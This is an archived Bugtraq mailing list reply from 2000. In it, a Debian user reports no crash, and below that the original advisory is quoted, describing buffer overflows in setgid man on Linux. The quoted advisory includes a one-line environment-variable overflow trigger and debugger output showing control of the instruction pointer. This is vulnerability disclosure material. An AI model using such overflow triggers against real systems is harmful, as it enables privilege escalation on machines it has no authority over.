Re: man bugs might lead to root compromise (RH 6.1 and other boxe

From: Licquia, Jeff (JLicquiaat_private)
Date: Mon Feb 28 2000 - 07:48:55 PST

  • Next message: Rishi Lee Khan: "Re: How the password could be recover using FTP Explorer's"

    Tested on Debian potato.  No SIGSEGV.
    
    Package status for man on my box:
    
    Desired=Unknown/Install/Remove/Purge
    | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
    |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
    uppercase=bad)
    ||/ Name           Version        Description
    +++-==============-==============-==========================================
    ==
    ii  man-db         2.3.10-69s     Display the on-line manual.
    
    -----Original Message-----
    From: Michal Zalewski [mailto:lcamtufat_private]
    Sent: Saturday, February 26, 1994 6:49 AM
    To: BUGTRAQat_private
    Subject: man bugs might lead to root compromise (RH 6.1 and other boxes)
    
    
    With most of Linux distributions, /usr/bin/man is shipped as setgid man.
    This setgid bit is required to build formatted manpages in /var/catman for
    faster access. Unfortunately, man does almost everything via system()
    calls, where parameters are user-dependent, and almost always it's
    sprintf'ed before to fixed size buffers. It's kinda trivial to gain man
    privledges, using buffer overflows in enviromental variables. For example,
    by specyfing MANPAGER variable with approx 4k 'A' letters, you'll get
    SEGV:
    
    $ MANPAGER=`perl -e '{print "A"x4000}'` man ls
    
    [...]
    
    1200  setuid(500)                       = 0
    1200  setgid(15)                        = 0
    1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file
    or directory)
    1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No
    such file or directory)1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1
    ENOENT (No such file or directory)
    1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No
    such file or directory)1200  close(-1)                         = -1 EBADF
    (Bad file descriptor)
    1200  write(2, "Error executing formatting or display command.\nSystem
    command (cd /usr/man ; (echo
    1200  --- SIGSEGV (Naruszenie ochrony pamiêci) ---
    1200  +++ killed by SIGSEGV +++
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    
    [...]
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:37:55 PDT